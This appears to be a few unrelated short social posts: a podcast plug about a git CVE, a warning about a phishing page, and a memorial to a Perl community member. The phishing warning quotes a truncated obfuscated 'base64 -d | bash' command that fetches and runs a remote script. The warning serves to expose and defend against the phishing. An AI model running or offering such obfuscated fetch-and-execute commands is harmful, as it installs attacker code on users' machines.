My first introduction to @dgl was finding https://dgl.cx/2023/09/ansi-terminal-security on my own and then being surprised he was a co-worker!

I got to sit down with him and chat about the recent git CVE he discovered and a lot more in our recent podcast episode.

If you don't have time for that, here's 5 minutes on the vulnerabililty specifically, cut from that interview: https://youtu.be/XZHxE3iWPMU

This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

They even detect piping, so to read it you have to run "curl | cat".

Dammit, mst. I owe you. You welcomed me to the community, you inspired me, you made me laugh, and you nudged me in the right direction when I said some dumb shit. You didn't even permaban me when I flooded #perl with a kilobyte of combining Unicode characters. I still can't believe you're just ... gone. I wanted to talk to you again.

https://www.shadowcat.co.uk/2025/07/09/ripples-they-cause-in-the-world/